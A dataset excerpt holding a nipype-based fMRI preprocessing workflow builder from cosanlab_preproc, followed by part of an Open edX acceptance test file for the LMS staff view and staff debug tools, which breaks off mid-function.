text
stringlengths
12
1.05M
repo_name
stringlengths
5
86
path
stringlengths
4
191
language
stringclasses
1 value
license
stringclasses
15 values
size
int32
12
1.05M
keyword
listlengths
1
23
text_hash
stringlengths
64
64
from __future__ import division import matplotlib matplotlib.use('Agg') import nibabel as nib import os from .utils import get_resource_path """ Builder ======= Base function to build dynamic workflows using BIDS formatted data files. """ def builder(subject_id, subId, project_dir, data_dir, output_dir, output_final_dir, output_interm_dir, layout, anat=None, funcs=None, fmaps=None, task_name='', session=None, apply_trim=False, apply_dist_corr=False, apply_smooth=False, apply_filter=False, mni_template='2mm', apply_n4=True, ants_threads=8, readable_crash_files=False, write_logs=True): """ Core function that returns a workflow. See wfmaker for more details. Args: subject_id: name of subject folder for final outputted sub-folder name subId: abbreviate name of subject for intermediate outputted sub-folder name project_dir: full path to root of project data_dir: full path to raw data files output_dir: upper level output dir (others will be nested within this) output_final_dir: final preprocessed sub-dir name output_interm_dir: intermediate preprcess sub-dir name layout: BIDS layout instance """ ################## ### PATH SETUP ### ################## if session is not None: session = int(session) if session < 10: session = '0' + str(session) else: session = str(session) # Set MNI template MNItemplate = os.path.join(get_resource_path(), 'MNI152_T1_' + mni_template + '_brain.nii.gz') MNImask = os.path.join(get_resource_path(), 'MNI152_T1_' + mni_template + '_brain_mask.nii.gz') MNItemplatehasskull = os.path.join(get_resource_path(), 'MNI152_T1_' + mni_template + '.nii.gz') # Set ANTs files bet_ants_template = os.path.join(get_resource_path(), 'OASIS_template.nii.gz') bet_ants_prob_mask = os.path.join(get_resource_path(), 'OASIS_BrainCerebellumProbabilityMask.nii.gz') bet_ants_registration_mask = os.path.join(get_resource_path(), 'OASIS_BrainCerebellumRegistrationMask.nii.gz') ################################# ### NIPYPE IMPORTS AND CONFIG ### ################################# # Update nipype global config because workflow.config[] = ..., doesn't seem to work # Can't store nipype config/rc file in container anyway so set them globaly before importing and setting up workflow as suggested here: http://nipype.readthedocs.io/en/latest/users/config_file.html#config-file # Create subject's intermediate directory before configuring nipype and the workflow because that's where we'll save log files in addition to intermediate files if not os.path.exists(os.path.join(output_interm_dir, subId, 'logs')): os.makedirs(os.path.join(output_interm_dir, subId, 'logs')) log_dir = os.path.join(output_interm_dir, subId, 'logs') from nipype import config if readable_crash_files: cfg = dict(execution={'crashfile_format': 'txt'}) config.update_config(cfg) config.update_config({'logging': {'log_directory': log_dir, 'log_to_file': write_logs}, 'execution': {'crashdump_dir': log_dir}}) from nipype import logging logging.update_logging(config) # Now import everything else from nipype.interfaces.io import DataSink from nipype.interfaces.utility import Merge, IdentityInterface from nipype.pipeline.engine import Node, Workflow from nipype.interfaces.nipy.preprocess import ComputeMask from nipype.algorithms.rapidart import ArtifactDetect from nipype.interfaces.ants.segmentation import BrainExtraction, N4BiasFieldCorrection from nipype.interfaces.ants import Registration, ApplyTransforms from nipype.interfaces.fsl import MCFLIRT, TOPUP, ApplyTOPUP from nipype.interfaces.fsl.maths import MeanImage from nipype.interfaces.fsl import Merge as MERGE from nipype.interfaces.fsl.utils import Smooth from nipype.interfaces.nipy.preprocess import Trim from .interfaces import Plot_Coregistration_Montage, Plot_Quality_Control, Plot_Realignment_Parameters, Create_Covariates, Down_Sample_Precision, Create_Encoding_File, Filter_In_Mask ################## ### INPUT NODE ### ################## # Turn functional file list into interable Node func_scans = Node(IdentityInterface(fields=['scan']), name='func_scans') func_scans.iterables = ('scan', funcs) # Get TR for use in filtering below; we're assuming all BOLD runs have the same TR tr_length = layout.get_metadata(funcs[0])['RepetitionTime'] ##################################### ## TRIM ## ##################################### if apply_trim: trim = Node(Trim(), name='trim') trim.inputs.begin_index = apply_trim ##################################### ## DISTORTION CORRECTION ## ##################################### if apply_dist_corr: # Get fmap file locations fmaps = [f.filename for f in layout.get(subject=subId, modality='fmap', extensions='.nii.gz')] if not fmaps: raise IOError("Distortion Correction requested but field map scans not found...") # Get fmap metadata totalReadoutTimes, measurements, fmap_pes = [], [], [] for i, fmap in enumerate(fmaps): # Grab total readout time for each fmap totalReadoutTimes.append(layout.get_metadata(fmap)['TotalReadoutTime']) # Grab measurements (for some reason pyBIDS doesn't grab dcm_meta... fields from side-car json file and json.load, doesn't either; so instead just read the header using nibabel to determine number of scans) measurements.append(nib.load(fmap).header['dim'][4]) # Get phase encoding direction fmap_pe = layout.get_metadata(fmap)["PhaseEncodingDirection"] fmap_pes.append(fmap_pe) encoding_file_writer = Node(interface=Create_Encoding_File(), name='create_encoding') encoding_file_writer.inputs.totalReadoutTimes = totalReadoutTimes encoding_file_writer.inputs.fmaps = fmaps encoding_file_writer.inputs.fmap_pes = fmap_pes encoding_file_writer.inputs.measurements = measurements encoding_file_writer.inputs.file_name = 'encoding_file.txt' merge_to_file_list = Node(interface=Merge(2), infields=['in1', 'in2'], name='merge_to_file_list') merge_to_file_list.inputs.in1 = fmaps[0] merge_to_file_list.inputs.in1 = fmaps[1] # Merge AP and PA distortion correction scans merger = Node(interface=MERGE(dimension='t'), name='merger') merger.inputs.output_type = 'NIFTI_GZ' merger.inputs.in_files = fmaps merger.inputs.merged_file = 'merged_epi.nii.gz' # Create distortion correction map topup = Node(interface=TOPUP(), name='topup') topup.inputs.output_type = 'NIFTI_GZ' # Apply distortion correction to other scans apply_topup = Node(interface=ApplyTOPUP(), name='apply_topup') apply_topup.inputs.output_type = 'NIFTI_GZ' apply_topup.inputs.method = 'jac' apply_topup.inputs.interp = 'spline' ################################### ### REALIGN ### ################################### realign_fsl = Node(MCFLIRT(), name="realign") realign_fsl.inputs.cost = 'mutualinfo' realign_fsl.inputs.mean_vol = True realign_fsl.inputs.output_type = 'NIFTI_GZ' realign_fsl.inputs.save_mats = True realign_fsl.inputs.save_rms = True realign_fsl.inputs.save_plots = True ################################### ### MEAN EPIs ### ################################### # For coregistration after realignment mean_epi = Node(MeanImage(), name='mean_epi') mean_epi.inputs.dimension = 'T' # For after normalization is done to plot checks mean_norm_epi = Node(MeanImage(), name='mean_norm_epi') mean_norm_epi.inputs.dimension = 'T' ################################### ### MASK, ART, COV CREATION ### ################################### compute_mask = Node(ComputeMask(), name='compute_mask') compute_mask.inputs.m = .05 art = Node(ArtifactDetect(), name='art') art.inputs.use_differences = [True, False] art.inputs.use_norm = True art.inputs.norm_threshold = 1 art.inputs.zintensity_threshold = 3 art.inputs.mask_type = 'file' art.inputs.parameter_source = 'FSL' make_cov = Node(Create_Covariates(), name='make_cov') ################################ ### N4 BIAS FIELD CORRECTION ### ################################ if apply_n4: n4_correction = Node(N4BiasFieldCorrection(), name='n4_correction') n4_correction.inputs.copy_header = True n4_correction.inputs.save_bias = False n4_correction.inputs.num_threads = ants_threads n4_correction.inputs.input_image = anat ################################### ### BRAIN EXTRACTION ### ################################### brain_extraction_ants = Node(BrainExtraction(), name='brain_extraction') brain_extraction_ants.inputs.dimension = 3 brain_extraction_ants.inputs.use_floatingpoint_precision = 1 brain_extraction_ants.inputs.num_threads = ants_threads brain_extraction_ants.inputs.brain_probability_mask = bet_ants_prob_mask brain_extraction_ants.inputs.keep_temporary_files = 1 brain_extraction_ants.inputs.brain_template = bet_ants_template brain_extraction_ants.inputs.extraction_registration_mask = bet_ants_registration_mask brain_extraction_ants.inputs.out_prefix = 'bet' ################################### ### COREGISTRATION ### ################################### coregistration = Node(Registration(), name='coregistration') coregistration.inputs.float = False coregistration.inputs.output_transform_prefix = "meanEpi2highres" coregistration.inputs.transforms = ['Rigid'] coregistration.inputs.transform_parameters = [(0.1,), (0.1,)] coregistration.inputs.number_of_iterations = [[1000, 500, 250, 100]] coregistration.inputs.dimension = 3 coregistration.inputs.num_threads = ants_threads coregistration.inputs.write_composite_transform = True coregistration.inputs.collapse_output_transforms = True coregistration.inputs.metric = ['MI'] coregistration.inputs.metric_weight = [1] coregistration.inputs.radius_or_number_of_bins = [32] coregistration.inputs.sampling_strategy = ['Regular'] coregistration.inputs.sampling_percentage = [0.25] coregistration.inputs.convergence_threshold = [1e-08] coregistration.inputs.convergence_window_size = [10] coregistration.inputs.smoothing_sigmas = [[3, 2, 1, 0]] coregistration.inputs.sigma_units = ['mm'] coregistration.inputs.shrink_factors = [[4, 3, 2, 1]] coregistration.inputs.use_estimate_learning_rate_once = [True] coregistration.inputs.use_histogram_matching = [False] coregistration.inputs.initial_moving_transform_com = True coregistration.inputs.output_warped_image = True coregistration.inputs.winsorize_lower_quantile = 0.01 coregistration.inputs.winsorize_upper_quantile = 0.99 ################################### ### NORMALIZATION ### ################################### # Settings Explanations # Only a few key settings are worth adjusting and most others relate to how ANTs optimizer starts or iterates and won't make a ton of difference # Brian Avants referred to these settings as the last "best tested" when he was aligning fMRI data: https://github.com/ANTsX/ANTsRCore/blob/master/R/antsRegistration.R#L275 # Things that matter the most: # smoothing_sigmas: # how much gaussian smoothing to apply when performing registration, probably want the upper limit of this to match the resolution that the data is collected at e.g. 3mm # Old settings [[3,2,1,0]]*3 # shrink_factors # The coarseness with which to do registration # Old settings [[8,4,2,1]] * 3 # >= 8 may result is some problems causing big chunks of cortex with little fine grain spatial structure to be moved to other parts of cortex # Other settings # transform_parameters: # how much regularization to do for fitting that transformation # for syn this pertains to both the gradient regularization term, and the flow, and elastic terms. Leave the syn settings alone as they seem to be the most well tested across published data sets # radius_or_number_of_bins # This is the bin size for MI metrics and 32 is probably adequate for most use cases. Increasing this might increase precision (e.g. to 64) but takes exponentially longer # use_histogram_matching # Use image intensity distribution to guide registration # Leave it on for within modality registration (e.g. T1 -> MNI), but off for between modality registration (e.g. EPI -> T1) # convergence_threshold # threshold for optimizer # convergence_window_size # how many samples should optimizer average to compute threshold? # sampling_strategy # what strategy should ANTs use to initialize the transform. Regular here refers to approximately random sampling around the center of the image mass normalization = Node(Registration(), name='normalization') normalization.inputs.float = False normalization.inputs.collapse_output_transforms = True normalization.inputs.convergence_threshold = [1e-06] normalization.inputs.convergence_window_size = [10] normalization.inputs.dimension = 3 normalization.inputs.fixed_image = MNItemplate normalization.inputs.initial_moving_transform_com = True normalization.inputs.metric = ['MI', 'MI', 'CC'] normalization.inputs.metric_weight = [1.0]*3 normalization.inputs.number_of_iterations = [[1000, 500, 250, 100], [1000, 500, 250, 100], [100, 70, 50, 20]] normalization.inputs.num_threads = ants_threads normalization.inputs.output_transform_prefix = 'anat2template' normalization.inputs.output_inverse_warped_image = True normalization.inputs.output_warped_image = True normalization.inputs.radius_or_number_of_bins = [32, 32, 4] normalization.inputs.sampling_percentage = [0.25, 0.25, 1] normalization.inputs.sampling_strategy = ['Regular', 'Regular', 'None'] normalization.inputs.shrink_factors = [[8, 4, 2, 1]]*3 normalization.inputs.sigma_units = ['vox']*3 normalization.inputs.smoothing_sigmas = [[3, 2, 1, 0]]*3 normalization.inputs.transforms = ['Rigid', 'Affine', 'SyN'] normalization.inputs.transform_parameters = [(0.1,), (0.1,), (0.1, 3.0, 0.0)] normalization.inputs.use_histogram_matching = True normalization.inputs.winsorize_lower_quantile = 0.005 normalization.inputs.winsorize_upper_quantile = 0.995 normalization.inputs.write_composite_transform = True # NEW SETTINGS (need to be adjusted; specifically shink_factors and smoothing_sigmas need to be the same length) # normalization = Node(Registration(), name='normalization') # normalization.inputs.float = False # normalization.inputs.collapse_output_transforms = True # normalization.inputs.convergence_threshold = [1e-06, 1e-06, 1e-07] # normalization.inputs.convergence_window_size = [10] # normalization.inputs.dimension = 3 # normalization.inputs.fixed_image = MNItemplate # normalization.inputs.initial_moving_transform_com = True # normalization.inputs.metric = ['MI', 'MI', 'CC'] # normalization.inputs.metric_weight = [1.0]*3 # normalization.inputs.number_of_iterations = [[1000, 500, 250, 100], # [1000, 500, 250, 100], # [100, 70, 50, 20]] # normalization.inputs.num_threads = ants_threads # normalization.inputs.output_transform_prefix = 'anat2template' # normalization.inputs.output_inverse_warped_image = True # normalization.inputs.output_warped_image = True # normalization.inputs.radius_or_number_of_bins = [32, 32, 4] # normalization.inputs.sampling_percentage = [0.25, 0.25, 1] # normalization.inputs.sampling_strategy = ['Regular', # 'Regular', # 'None'] # normalization.inputs.shrink_factors = [[4, 3, 2, 1]]*3 # normalization.inputs.sigma_units = ['vox']*3 # normalization.inputs.smoothing_sigmas = [[2, 1], [2, 1], [3, 2, 1, 0]] # normalization.inputs.transforms = ['Rigid', 'Affine', 'SyN'] # normalization.inputs.transform_parameters = [(0.1,), # (0.1,), # (0.1, 3.0, 0.0)] # normalization.inputs.use_histogram_matching = True # normalization.inputs.winsorize_lower_quantile = 0.005 # normalization.inputs.winsorize_upper_quantile = 0.995 # normalization.inputs.write_composite_transform = True ################################### ### APPLY TRANSFORMS AND SMOOTH ### ################################### merge_transforms = Node(Merge(2), iterfield=['in2'], name='merge_transforms') # Used for epi -> mni, via (coreg + norm) apply_transforms = Node(ApplyTransforms(), iterfield=['input_image'], name='apply_transforms') apply_transforms.inputs.input_image_type = 3 apply_transforms.inputs.float = False apply_transforms.inputs.num_threads = 12 apply_transforms.inputs.environ = {} apply_transforms.inputs.interpolation = 'BSpline' apply_transforms.inputs.invert_transform_flags = [False, False] apply_transforms.inputs.reference_image = MNItemplate # Used for t1 segmented -> mni, via (norm) apply_transform_seg = Node(ApplyTransforms(), name='apply_transform_seg') apply_transform_seg.inputs.input_image_type = 3 apply_transform_seg.inputs.float = False apply_transform_seg.inputs.num_threads = 12 apply_transform_seg.inputs.environ = {} apply_transform_seg.inputs.interpolation = 'MultiLabel' apply_transform_seg.inputs.invert_transform_flags = [False] apply_transform_seg.inputs.reference_image = MNItemplate ################################### ### PLOTS ### ################################### plot_realign = Node(Plot_Realignment_Parameters(), name="plot_realign") plot_qa = Node(Plot_Quality_Control(), name="plot_qa") plot_normalization_check = Node(Plot_Coregistration_Montage(), name="plot_normalization_check") plot_normalization_check.inputs.canonical_img = MNItemplatehasskull ############################################ ### FILTER, SMOOTH, DOWNSAMPLE PRECISION ### ############################################ # Use cosanlab_preproc for down sampling down_samp = Node(Down_Sample_Precision(), name="down_samp") # Use FSL for smoothing if apply_smooth: smooth = Node(Smooth(), name='smooth') if isinstance(apply_smooth, list): smooth.iterables = ("fwhm", apply_smooth) elif isinstance(apply_smooth, int) or isinstance(apply_smooth, float): smooth.inputs.fwhm = apply_smooth else: raise ValueError("apply_smooth must be a list or int/float") # Use cosanlab_preproc for low-pass filtering if apply_filter: lp_filter = Node(Filter_In_Mask(), name='lp_filter') lp_filter.inputs.mask = MNImask lp_filter.inputs.sampling_rate = tr_length lp_filter.inputs.high_pass_cutoff = 0 if isinstance(apply_filter, list): lp_filter.iterables = ("low_pass_cutoff", apply_filter) elif isinstance(apply_filter, int) or isinstance(apply_filter, float): lp_filter.inputs.low_pass_cutoff = apply_filter else: raise ValueError("apply_filter must be a list or int/float") ################### ### OUTPUT NODE ### ################### # Collect all final outputs in the output dir and get rid of file name additions datasink = Node(DataSink(), name='datasink') if session: datasink.inputs.base_directory = os.path.join(output_final_dir, subject_id) datasink.inputs.container = 'ses-' + session else: datasink.inputs.base_directory = output_final_dir datasink.inputs.container = subject_id # Remove substitutions data_dir_parts = data_dir.split('/')[1:] if session: prefix = ['_scan_'] + data_dir_parts + [subject_id] + ['ses-' + session] + ['func'] else: prefix = ['_scan_'] + data_dir_parts + [subject_id] + ['func'] func_scan_names = [os.path.split(elem)[-1] for elem in funcs] to_replace = [] for elem in func_scan_names: bold_name = elem.split(subject_id + '_')[-1] bold_name = bold_name.split('.nii.gz')[0] to_replace.append(('..'.join(prefix + [elem]), bold_name)) datasink.inputs.substitutions = to_replace ##################### ### INIT WORKFLOW ### ##################### # If we have sessions provide the full path to the subject's intermediate directory # and only rely on workflow init to create the session container *within* that directory # Otherwise just point to the intermediate directory and let the workflow init create the subject container within the intermediate directory if session: workflow = Workflow(name='ses_'+session) workflow.base_dir = os.path.join(output_interm_dir, subId) else: workflow = Workflow(name=subId) workflow.base_dir = output_interm_dir ############################ ######### PART (1a) ######### # func -> discorr -> trim -> realign # OR # func -> trim -> realign # OR # func -> discorr -> realign # OR # func -> realign ############################ if apply_dist_corr: workflow.connect([ (encoding_file_writer, topup, [('encoding_file', 'encoding_file')]), (encoding_file_writer, apply_topup, [('encoding_file', 'encoding_file')]), (merger, topup, [('merged_file', 'in_file')]), (func_scans, apply_topup, [('scan', 'in_files')]), (topup, apply_topup, [('out_fieldcoef', 'in_topup_fieldcoef'), ('out_movpar', 'in_topup_movpar')]) ]) if apply_trim: # Dist Corr + Trim workflow.connect([ (apply_topup, trim, [('out_corrected', 'in_file')]), (trim, realign_fsl, [('out_file', 'in_file')]) ]) else: # Dist Corr + No Trim workflow.connect([ (apply_topup, realign_fsl, [('out_corrected', 'in_file')]) ]) else: if apply_trim: # No Dist Corr + Trim workflow.connect([ (func_scans, trim, [('scan', 'in_file')]), (trim, realign_fsl, [('out_file', 'in_file')]) ]) else: # No Dist Corr + No Trim workflow.connect([ (func_scans, realign_fsl, [('scan', 'in_file')]), ]) ############################ ######### PART (1n) ######### # anat -> N4 -> bet # OR # anat -> bet ############################ if apply_n4: workflow.connect([ (n4_correction, brain_extraction_ants, [('output_image', 'anatomical_image')]) ]) else: brain_extraction_ants.inputs.anatomical_image = anat ########################################## ############### PART (2) ################# # realign -> coreg -> mni (via t1) # t1 -> mni # covariate creation # plot creation ########################################### workflow.connect([ (realign_fsl, plot_realign, [('par_file', 'realignment_parameters')]), (realign_fsl, plot_qa, [('out_file', 'dat_img')]), (realign_fsl, art, [('out_file', 'realigned_files'), ('par_file', 'realignment_parameters')]), (realign_fsl, mean_epi, [('out_file', 'in_file')]), (realign_fsl, make_cov, [('par_file', 'realignment_parameters')]), (mean_epi, compute_mask, [('out_file', 'mean_volume')]), (compute_mask, art, [('brain_mask', 'mask_file')]), (art, make_cov, [('outlier_files', 'spike_id')]), (art, plot_realign, [('outlier_files', 'outliers')]), (plot_qa, make_cov, [('fd_outliers', 'fd_outliers')]), (brain_extraction_ants, coregistration, [('BrainExtractionBrain', 'fixed_image')]), (mean_epi, coregistration, [('out_file', 'moving_image')]), (brain_extraction_ants, normalization, [('BrainExtractionBrain', 'moving_image')]), (coregistration, merge_transforms, [('composite_transform', 'in2')]), (normalization, merge_transforms, [('composite_transform', 'in1')]), (merge_transforms, apply_transforms, [('out', 'transforms')]), (realign_fsl, apply_transforms, [('out_file', 'input_image')]), (apply_transforms, mean_norm_epi, [('output_image', 'in_file')]), (normalization, apply_transform_seg, [('composite_transform', 'transforms')]), (brain_extraction_ants, apply_transform_seg, [('BrainExtractionSegmentation', 'input_image')]), (mean_norm_epi, plot_normalization_check, [('out_file', 'wra_img')]) ]) ################################################## ################### PART (3) ##################### # epi (in mni) -> filter -> smooth -> down sample # OR # epi (in mni) -> filter -> down sample # OR # epi (in mni) -> smooth -> down sample # OR # epi (in mni) -> down sample ################################################### if apply_filter: workflow.connect([ (apply_transforms, lp_filter, [('output_image', 'in_file')]) ]) if apply_smooth: # Filtering + Smoothing workflow.connect([ (lp_filter, smooth, [('out_file', 'in_file')]), (smooth, down_samp, [('smoothed_file', 'in_file')]) ]) else: # Filtering + No Smoothing workflow.connect([ (lp_filter, down_samp, [('out_file', 'in_file')]) ]) else: if apply_smooth: # No Filtering + Smoothing workflow.connect([ (apply_transforms, smooth, [('output_image', 'in_file')]), (smooth, down_samp, [('smoothed_file', 'in_file')]) ]) else: # No Filtering + No Smoothing workflow.connect([ (apply_transforms, down_samp, [('output_image', 'in_file')]) ]) ########################################## ############### PART (4) ################# # down sample -> save # plots -> save # covs -> save # t1 (in mni) -> save # t1 segmented masks (in mni) -> save # realignment parms -> save ########################################## workflow.connect([ (down_samp, datasink, [('out_file', 'functional.@down_samp')]), (plot_realign, datasink, [('plot', 'functional.@plot_realign')]), (plot_qa, datasink, [('plot', 'functional.@plot_qa')]), (plot_normalization_check, datasink, [('plot', 'functional.@plot_normalization')]), (make_cov, datasink, [('covariates', 'functional.@covariates')]), (normalization, datasink, [('warped_image', 'structural.@normanat')]), (apply_transform_seg, datasink, [('output_image', 'structural.@normanatseg')]), (realign_fsl, datasink, [('par_file', 'functional.@motionparams')]) ]) if not os.path.exists(os.path.join(output_dir, 'pipeline.png')): workflow.write_graph(dotfilename=os.path.join(output_dir, 'pipeline'), format='png') print(f"Creating workflow for subject: {subject_id}") if ants_threads != 8: print(f"ANTs will utilize the user-requested {ants_threads} threads for parallel processing.") return workflow
cosanlab/cosanlab_preproc
cosanlab_preproc/_builder.py
Python
mit
28,171
[ "Brian", "Gaussian" ]
a05deec3739a26552b06ebe9c432f737d8cfa3824e1a935b5450f125c2549471
# -*- coding: utf-8 -*- """ Tests the "preview" selector in the LMS that allows changing between Staff, Student, and Content Groups. """ from nose.plugins.attrib import attr from common.test.acceptance.tests.helpers import UniqueCourseTest, create_user_partition_json from common.test.acceptance.pages.studio.auto_auth import AutoAuthPage from common.test.acceptance.pages.lms.courseware import CoursewarePage from common.test.acceptance.pages.lms.instructor_dashboard import InstructorDashboardPage from common.test.acceptance.pages.lms.staff_view import StaffPage from common.test.acceptance.fixtures.course import CourseFixture, XBlockFixtureDesc from bok_choy.promise import EmptyPromise from xmodule.partitions.partitions import Group from textwrap import dedent @attr(shard=3) class StaffViewTest(UniqueCourseTest): """ Tests that verify the staff view. """ USERNAME = "STAFF_TESTER" EMAIL = "johndoe@example.com" def setUp(self): super(StaffViewTest, self).setUp() self.courseware_page = CoursewarePage(self.browser, self.course_id) # Install a course with sections/problems, tabs, updates, and handouts self.course_fixture = CourseFixture( self.course_info['org'], self.course_info['number'], self.course_info['run'], self.course_info['display_name'] ) self.populate_course_fixture(self.course_fixture) # pylint: disable=no-member self.course_fixture.install() # Auto-auth register for the course. # Do this as global staff so that you will see the Staff View AutoAuthPage(self.browser, username=self.USERNAME, email=self.EMAIL, course_id=self.course_id, staff=True).visit() def _goto_staff_page(self): """ Open staff page with assertion """ self.courseware_page.visit() staff_page = StaffPage(self.browser, self.course_id) self.assertEqual(staff_page.staff_view_mode, 'Staff') return staff_page @attr(shard=3) class CourseWithoutContentGroupsTest(StaffViewTest): """ Setup for tests that have no content restricted to specific content groups. """ def populate_course_fixture(self, course_fixture): """ Populates test course with chapter, sequential, and 2 problems. """ problem_data = dedent(""" <problem markdown="Simple Problem" max_attempts="" weight=""> <p>Choose Yes.</p> <choiceresponse> <checkboxgroup> <choice correct="true">Yes</choice> </checkboxgroup> </choiceresponse> </problem> """) course_fixture.add_children( XBlockFixtureDesc('chapter', 'Test Section').add_children( XBlockFixtureDesc('sequential', 'Test Subsection').add_children( XBlockFixtureDesc('problem', 'Test Problem 1', data=problem_data), XBlockFixtureDesc('problem', 'Test Problem 2', data=problem_data) ) ) ) @attr(shard=3) class StaffViewToggleTest(CourseWithoutContentGroupsTest): """ Tests for the staff view toggle button. """ def test_instructor_tab_visibility(self): """ Test that the instructor tab is hidden when viewing as a student. """ course_page = self._goto_staff_page() self.assertTrue(course_page.has_tab('Instructor')) course_page.set_staff_view_mode('Student') self.assertEqual(course_page.staff_view_mode, 'Student') self.assertFalse(course_page.has_tab('Instructor')) @attr(shard=3) class StaffDebugTest(CourseWithoutContentGroupsTest): """ Tests that verify the staff debug info. """ def test_reset_attempts_empty(self): """ Test that we reset even when there is no student state """ staff_debug_page = self._goto_staff_page().open_staff_debug_info() staff_debug_page.reset_attempts() msg = staff_debug_page.idash_msg[0] self.assertEqual(u'Successfully reset the attempts ' 'for user {}'.format(self.USERNAME), msg) def test_delete_state_empty(self): """ Test that we delete properly even when there isn't state to delete. """ staff_debug_page = self._goto_staff_page().open_staff_debug_info() staff_debug_page.delete_state() msg = staff_debug_page.idash_msg[0] self.assertEqual(u'Successfully deleted student state ' 'for user {}'.format(self.USERNAME), msg) def test_reset_attempts_state(self): """ Successfully reset the student attempts """ staff_page = self._goto_staff_page() staff_page.answer_problem() staff_debug_page = staff_page.open_staff_debug_info() staff_debug_page.reset_attempts() msg = staff_debug_page.idash_msg[0] self.assertEqual(u'Successfully reset the attempts ' 'for user {}'.format(self.USERNAME), msg) def test_rescore_state(self): """ Rescore the student """ staff_page = self._goto_staff_page() staff_page.answer_problem() staff_debug_page = staff_page.open_staff_debug_info() staff_debug_page.rescore() msg = staff_debug_page.idash_msg[0] self.assertEqual(u'Successfully rescored problem for user STAFF_TESTER', msg) def test_student_state_delete(self): """ Successfully delete the student state with an answer """ staff_page = self._goto_staff_page() staff_page.answer_problem() staff_debug_page = staff_page.open_staff_debug_info() staff_debug_page.delete_state() msg = staff_debug_page.idash_msg[0] self.assertEqual(u'Successfully deleted student state ' 'for user {}'.format(self.USERNAME), msg) def test_student_by_email(self): """ Successfully reset the student attempts using their email address """ staff_page = self._goto_staff_page() staff_page.answer_problem() staff_debug_page = staff_page.open_staff_debug_info() staff_debug_page.reset_attempts(self.EMAIL) msg = staff_debug_page.idash_msg[0] self.assertEqual(u'Successfully reset the attempts ' 'for user {}'.format(self.EMAIL), msg) def test_bad_student(self): """ Test negative response with invalid user """ staff_page = self._goto_staff_page() staff_page.answer_problem() staff_debug_page = staff_page.open_staff_debug_info() staff_debug_page.delete_state('INVALIDUSER') msg = staff_debug_page.idash_msg[0] self.assertEqual(u'Failed to delete student state. ' 'User does not exist.', msg) def test_reset_attempts_for_problem_loaded_via_ajax(self): """ Successfully reset the student attempts for problem loaded via ajax. """ staff_page = self._goto_staff_page() staff_page.load_problem_via_ajax() staff_page.answer_problem() staff_debug_page = staff_page.open_staff_debug_info() staff_debug_page.reset_attempts() msg = staff_debug_page.idash_msg[0] self.assertEqual(u'Successfully reset the attempts ' 'for user {}'.format(self.USERNAME), msg) def test_rescore_state_for_problem_loaded_via_ajax(self): """ Rescore the student for problem loaded via ajax. """ staff_page = self._goto_staff_page() staff_page.load_problem_via_ajax() staff_page.answer_problem() staff_debug_page = staff_page.open_staff_debug_info() staff_debug_page.rescore() msg = staff_debug_page.idash_msg[0] self.assertEqual(u'Successfully rescored problem for user STAFF_TESTER', msg) def test_student_state_delete_for_problem_loaded_via_ajax(self): """ Successfully delete the student state for problem loaded via ajax. """ staff_page = self._goto_staff_page() staff_page.load_problem_via_ajax() staff_page.answer_problem() staff_debug_page = staff_page.open_staff_debug_info() staff_debug_page.delete_state() msg = staff_debug_page.idash_msg[0] self.assertEqual(u'Successfully deleted student state ' 'for user {}'.format(self.USERNAME), msg) @attr(shard=3) class CourseWithContentGroupsTest(StaffViewTest): """ Verifies that changing the "View this course as" selector works properly for content groups. """ def setUp(self): super(CourseWithContentGroupsTest, self).setUp() # pylint: disable=protected-access self.course_fixture._update_xblock(self.course_fixture._course_location, { "metadata": { u"user_partitions": [ create_user_partition_json( 0, 'Configuration alpha,beta', 'Content Group Partition', [Group("0", 'alpha'), Group("1", 'beta')], scheme="cohort" ) ], }, }) def populate_course_fixture(self, course_fixture): """ Populates test course with chapter, sequential, and 3 problems. One problem is visible to all, one problem is visible only to Group "alpha", and one problem is visible only to Group "beta". """ problem_data = dedent(""" <problem markdown="Simple Problem" max_attempts="" weight=""> <p>Choose Yes.</p> <choiceresponse> <checkboxgroup> <choice correct="true">Yes</choice> </checkboxgroup> </choiceresponse> </problem> """) self.alpha_text = "VISIBLE TO ALPHA" self.beta_text = "VISIBLE TO BETA" self.everyone_text = "VISIBLE TO EVERYONE" course_fixture.add_children( XBlockFixtureDesc('chapter', 'Test Section').add_children( XBlockFixtureDesc('sequential', 'Test Subsection').add_children( XBlockFixtureDesc('vertical', 'Test Unit').add_children( XBlockFixtureDesc( 'problem', self.alpha_text, data=problem_data, metadata={"group_access": {0: [0]}} ), XBlockFixtureDesc( 'problem', self.beta_text, data=problem_data, metadata={"group_access": {0: [1]}} ), XBlockFixtureDesc('problem', self.everyone_text, data=problem_data) ) ) ) ) def test_staff_sees_all_problems(self): """ Scenario: Staff see all problems Given I have a course with a cohort user partition And problems that are associated with specific groups in the user partition When I view the courseware in the LMS with staff access Then I see all the problems, regardless of their group_access property """ course_page = self._goto_staff_page() verify_expected_problem_visibility(self, course_page, [self.alpha_text, self.beta_text, self.everyone_text]) def test_student_not_in_content_group(self): """ Scenario: When previewing as a student, only content visible to all is shown Given I have a course with a cohort user partition And problems that are associated with specific groups in the user partition When I view the courseware in the LMS with staff access And I change to previewing as a Student Then I see only problems visible to all users """ course_page = self._goto_staff_page() course_page.set_staff_view_mode('Student') verify_expected_problem_visibility(self, course_page, [self.everyone_text]) def test_as_student_in_alpha(self): """ Scenario: When previewing as a student in group alpha, only content visible to alpha is shown Given I have a course with a cohort user partition And problems that are associated with specific groups in the user partition When I view the courseware in the LMS with staff access And I change to previewing as a Student in group alpha Then I see only problems visible to group alpha """ course_page = self._goto_staff_page() course_page.set_staff_view_mode('Student in alpha') verify_expected_problem_visibility(self, course_page, [self.alpha_text, self.everyone_text]) def test_as_student_in_beta(self): """ Scenario: When previewing as a student in group beta, only content visible to beta is shown Given I have a course with a cohort user partition And problems that are associated with specific groups in the user partition When I view the courseware in the LMS with staff access And I change to previewing as a Student in group beta Then I see only problems visible to group beta """ course_page = self._goto_staff_page() course_page.set_staff_view_mode('Student in beta') verify_expected_problem_visibility(self, course_page, [self.beta_text, self.everyone_text]) def create_cohorts_and_assign_students(self, student_a_username, student_b_username): """ Adds 2 manual cohorts, linked to content groups, to the course. Each cohort is assigned one student. """ instructor_dashboard_page = InstructorDashboardPage(self.browser, self.course_id) instructor_dashboard_page.visit() cohort_management_page = instructor_dashboard_page.select_cohort_management() cohort_management_page.is_cohorted = True def add_cohort_with_student(cohort_name, content_group, student): """ Create cohort and assign student to it. """ cohort_management_page.add_cohort(cohort_name, content_group=content_group) # After adding the cohort, it should automatically be selected EmptyPromise( lambda: cohort_name == cohort_management_page.get_selected_cohort(), "Waiting for new cohort" ).fulfill() cohort_management_page.add_students_to_selected_cohort([student]) add_cohort_with_student("Cohort Alpha", "alpha", 